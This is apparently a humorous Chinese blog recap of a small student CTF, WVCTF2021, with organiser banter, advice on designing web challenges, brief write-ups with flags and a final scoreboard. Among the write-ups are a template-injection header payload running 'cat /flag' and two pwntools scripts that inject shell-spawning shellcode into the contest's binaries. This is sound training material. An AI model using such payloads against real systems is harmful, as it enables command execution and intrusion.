WVCTF,全称 Winter Vacation Capture The Flag,翻译过来就是冬天假期抢旗子。
贵🐋有寒假办比赛的传统,👴那年是 WVCTF2019,也没多少人打。参加过那场比赛,现在还活着的,除了👴,只有陈延毕。
题是啥👴忘了,反正和今年一样,都是屎题。
为深入贯彻落实,提升,促进,由 StudentUnion 战队指导,贵🐋主办,贵🐋znh 承办,不使用北京易霖博信息技术有限公司平台的 WVCTF2021(以下简称竞赛)将于 2021 年 1 月 30 日 至 2021年 1 月 31 日举行,现将有关事项通知如下:
防止 20 级白给
通过竞赛的方式提升学生攻防兼备的网络创新实践能力,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学生信息安全意识,提高学生的网络空间安全创新能力与实践技能。
指导单位:StudentUnion 战队
主办单位:贵🐋
承办单位:贵🐋znh
CTFd 注册
各参赛选手通过竞赛官方网站进行线上报名,主办方将于 2021 年 1 月 30 日前完成各参赛选手资格审查,并公布参赛选手名单。
竞赛为公益性赛事,不收取任何参赛费用。
竞赛官网将在官方 QQ 群中公布。
CTF
本次竞赛采取线上答题模式(CTF赛制),赛题内容主要涉及二进制漏洞挖掘利用、逆向工程、密码学、Web 安全、信息搜集、隐写分析等信息安全领域的主要知识与技能,重点考察参赛人员信息安全基本技能和相关知识的综合运用能力。
为防止 20 级新生不会出题影响 2021 纳新工作,本次竞赛需要每位参赛选手自带原创题目参加比赛,参赛选手需要向主办方提供一道题目,类型不限。
要求选手自带题目的比赛大多是垃圾比赛,比如 CCISC2020
但是👴想让他们学学出题
交 flag、交 wp
参赛选手用注册成功的账号登陆线上赛网站进行答题,每道赛题均内置1个 flag ,设置一定的分值,选手解题后得到 flag 并提交即可获得相应的分数。比赛结束后24小时内,各参赛选手需提交解出的每道赛题的详细解题报告(Writeup)。经主办方审核后,确定各选手最终得分和排名。未按主办方要求提交解题报告或发现作弊行为的,取消比赛成绩,并进行通报。
竞赛设置监督委员会,监督委员会本着公平公正的原则对比赛情况进行监督,接受参赛队伍的申诉并进行裁决。如参赛队伍对成绩有异议,可在结果正式公布前向监督委员会进行申诉。
没奖
为全面贯彻落实中央网络安全和信息化委员会办公室关于规范促进网络安全竞赛活动的通知,防止网络安全竞赛中出现选手逐利化等无序发展的现象,发挥网络安全竞赛在网络安全人才培养、技术和产业发展中的积极作用,本次竞赛不设奖金,按照有关规定以适当形式对在竞赛中取得优异成绩的人员予以表彰奖励。
由于没有多少人注册,贵🐋znh 弥漫着一种悲观的情绪
三万👴:☀了
7k👴:就两个人?
👴:那你赚了吗?
三万👴:那还办个🔨
👴:马上写战报《贵🐋WVCTF2021 胎死腹中》
三万👴在 2021 年 1 月 29 日发表重要讲话
因为同学们的参赛积极性问题,临时决定截至今晚 9:00,如果参赛人数不超过10个,本次比赛将予取消。
陈延毕发表社论
去年省赛时,我看见 AiDai 选手颓坐在椅子上一副司马脸的样子,这个画面我永生难忘。那一刻我在想,如果我能成为职业选手,我一定要赢下所有。如今WinterVacationCTF 就在眼前,我必须考虑这会不会是我最后的机会。重铸贵🐋荣光,我辈义不容辞。
👴作出重要指示
那你赚了🐎
果然在夜里九点注册人数不到十人,在👴🚪任务比赛要取消的时候,三万👴@全体成员,又有两位同学注册了账号,人数超过十人,WVCTF2021 没有取消。
历史转折点的三万👴
陈延毕日:
子曰:未啖豕,闻豕走矣已。作为一个 CTFer,学会自己设计 CTF 赛题也是很重要的。下面从 Web 狗的角度简介如何出 Web 题。
一道合格的赛题有以下几个要素:有解,可复现,稳定运行。前两个很好理解,比如“宇宙的意义是什么”或者“flag 是一个很大的质数”就不能作为 CTF 赛题。对于第三个要求,就 Web 题而言,题目本体就是一个小网站,因此要求这个网站是能在比赛期间稳定地在服务器上跑着的。
以上只是能称之为题的最低要求,要想将其和垃圾区别开,还需要做到合理引导,有创意等。第一点让题目“好做”,第二点让题目“好玩”。那么什么叫有创意的题目呢,👴懒得想了。对了,就介绍一下如何出题吧。
首先,你要有一个题目的点子,比如你发现了某个版本的 php 语法的某些细节会带来非预期的结果;审计某网站模板(cms)的时候发现了代码的某个角落有个没人注意的漏洞;或者你对 http 协议有了自己的想法准备投一篇 TIFS 的论文,闲暇之余余可以将你的 idea 改成 ctf 赛题……好吧这太遥远了,面向新手来说,考察已经有了的漏洞类型就可以了。从竞赛的角度,大多都是在原有题型的基础上增加亿点点细节(俗称抠缝),设置亿点点障碍(俗称塞屎),加上亿点点组合(俗称套娃)。好吧这还是有点遥远,我们可以继续退而求其次,考察单个知识点。
然后,要把我们的点子变成实际的题目。还是就web题来说,我们知道它就是一个网站,下面要问两个问题,网站跑什么内容?网站在哪跑?第一个问题,指网站代码,第二个问题指网站的运行环境。有了点子就可以写出代码,配环境确实是麻烦事,还好我们有神器 docker 和神器 plus:docker-compose。这个工具就是为了简化配环境这一步,因此必须熟练掌握(不管是不是 ctfer 只要是计算机学生都有必要掌握)。
最后,做好测试和运维。测试网站会不会轻易崩溃,检查题目预期解是否正确等。测试完就可以写题目文档,官方 writeup 了。最后打包在一起,这就是你的知识产权(可以卖钱的那种哦)。
现在我们的题目已经大功告成了!快放出来期待选手们的表现吧!(比赛结束后)什么,0 解?那没事了。
小火车,改了源码,塞了个 flag 进去
static char *Smoke[2][SMOKEPTNS]
= \{\{"( )", "( )", "( )", "( )", "( )",
"( )" , "( )" , "( )" , "()" , "()" ,
"O" , "O" , "O" , "O" , "O" ,
" " \},
\{"(f@@)", "(l@@@)", "(a@@@)", "(g@@)", "({@)",
"(s@)" , "(l)" , "(_)" , "n@" , "o@" ,
"t" , "_" , "l" , "s" , "}" ,
" " \}\};
一个一个字符塞的,比纳新的打开直接看到 flag 难了一点,但还是 IDA 打开看字符串就能找到,当然你要是运行硬看出来也行。
flag{sl_not_ls}
一日三餐没烦恼,今天就吃老⑧秘制小汉堡。
这题和 2020 校赛差不多一样,那道题检查汉堡用的是 md5 而不是 base64。
Three meals a day no worries, just eat Old Eight's crafted small hamburger.
Old Irons, your flag is flag{md5(your_hamburger)}.
======================
1.chou_dou_fu
2.fu_lu
3.lao_gan_ma
4.jiu_cai_hua
5.chou_lu_xia
======================
choice:
IDA 看一眼可以发现有个长字符串看着像 base64
Ym90dG9tY2hvdWx1eGlhaml1Y2FpaHVhZnVsdWxhb2dhbm1hY2hvdWRvdWZ1Y2hvdWx1eGlhY2hvdWx1eGlhaml1Y2FpaHVhY2hvdWRvdWZ1ZnVsdWNvdmVy
解一下果然是 base64,出题人真是太弱智了
bottomchouluxiajiucaihuafululaoganmachoudoufuchouluxiachouluxiajiucaihuachoudoufufulucover
很容易想到整个逻辑是选择配料,也就是把配料字符串加起来,base64 编码后进行比较,如果相同就是美食家。
美食家的汉堡是:臭卤虾+韭菜花+俘虏+老干妈+臭豆腐+臭卤虾+臭卤虾+韭菜花+臭豆腐+俘虏。
base64 解出来的字符串再 md5 就得到了 flag。
flag{e10c6e29a2d4bdfe2d3fb87d5bcb6838}
提交了自己的原创题目之后问管理员要 flag。
flag{f25d1c91758871a9eda8d20a4db80ac4}
lsb 隐写,zsteg 一把梭
zsteg flag.png
zsteg 安装方法
sudo apt install ruby
gem install zsteg
flag{e2f055332ee01948ba5443f940bde89b}
”请认准我的唯一联系 QQ:337845818,Thank you“后可以听到明显的摩斯电码。
看频谱图可以看到长短线,当然你要是硬听出来也行。
-- -.-. ... .... .. - --- ..- -.-- -.-- -.. ...
flag{mcshitouyyds}
foremost 能分出来东西,txt 里看到 66 6c 61 67,这就是 flag
foremost 5fi5nd551t.jpg
foremost 安装方法
sudo apt install foremost
把 flag 搞出来
data = [0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d,0x66,0x6c,0x61,0x67,0x7b,0x67,0x6f,0x30,0x64,0x5f,0x31,0x75,0x63,0x6b,0x5f,0x74,0x30,0x5f,0x79,0x30,0x75,0x21,0x7d]
flag = ''
for i in data:
print(hex(i))
flag += chr(i)
print(flag)
#flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}flag{go0d_1uck_t0_y0u!}
flag{go0d_1uck_t0_y0u!}
文件没后缀名,他说是 pdf,file 看一下也是 pdf,那就添个后缀名打开
标题下面有一行东西,字体颜色是白色,看不到,但是可以复制下来。
Wm14aFozdENZVk5sTkRBNU5sOWtSV052UkdWZllYVjBhRzl5YVhOcWIydGxjbDk0UkgwPQ==
看着像 base64,解一下
ZmxhZ3tCYVNlNDA5Nl9kRWNvRGVfYXV0aG9yaXNqb2tlcl94RH0=
Zmxh,flag,base64 继续解
flag{BaSe4096_dEcoDe_authorisjoker_xD}
文件名是 123.reverseMe
文件结尾是个 GNP,翻过来是 PNG,猜测是一张图片,字节全部倒序
with open('123.reverseMe','r') as f:
data = f.read()
with open('flag.png','w') as f:
f.write(data[::-1])
得到一张 png 图片,没 flag
把高度改高就有了
flag{blue_whale_yyds}
Request 里面添加
HEADER:YWRtaW4=
Response 会出现 flag
SSTI
X-Forwarded-For:{system('cat /flag')}
先做弱智数学题
Phase_1:
sin(?)*sin(?)+cos(?)*cos(?) == 1
1
Go on!
Phase_2:
x^3 - 7*x^2 + 152*x + 1024 - x^4 == 604, x = ?
6
Go on!
Phase_2:
0.1 + 0.2 == ?
0.30000000000000004
Go on!
然后可以执行 shellcode
#!/usr/bin/env python
from pwn import *
a = process("./mymath")
context.arch = 'amd64'
shellcode = shellcraft.sh();
a.sendlineafter("== 1", '1');
a.sendlineafter("x = ?", '6');
a.sendlineafter("== ?", '0.30000000000000004')
pause()
a.sendlineafter("something:", asm(shellcode))
a.interactive()
flag{M4th_4nd_5h31lCode}
ret2shellcode
from pwn import *
a = process("./chicken_or_egg")
context.arch = 'amd64'
context.log_level = 'debug'
shellcode = asm(shellcraft.sh())
payload = 'a' * 0x28 + p64(0x404060)
a.send(shellcode)
sleep(0.1)
pause()
a.send(payload)
a.interactive()
flag{Ly_cam3_f1rst}
没人做,下线了
全没人做,下线了
7k👴:老子花了一个上午复习了一轮 RSA,结果这个 B 出的题我做不出来
2021 年 1 月 31 日, WVCTF2021 圆满结束。来自贵社 19 级、20 级的 11 名网络安全精英在 CTFd 平台中激烈鏖战,最终有 7 名选手成功得分,展现了高超的解题技巧。
参赛选手 | 分数 | 获奖信息 |
---|---|---|
小渔村 | 9340 | 第一名 |
Maskros | 7349 | 第二名 |
没出题妄图白嫖 | 5349 | 第三名 |
Wjq | 3775 | 第四名 |
404 | 2700 | 第五名 |
123 | 1676 | 第六名 |
hhh | 775 | 第七名 |
本作品采用知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议(CC BY-NC-ND 4.0)进行许可。
This work is licensed under the Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License (CC BY-NC-ND 4.0).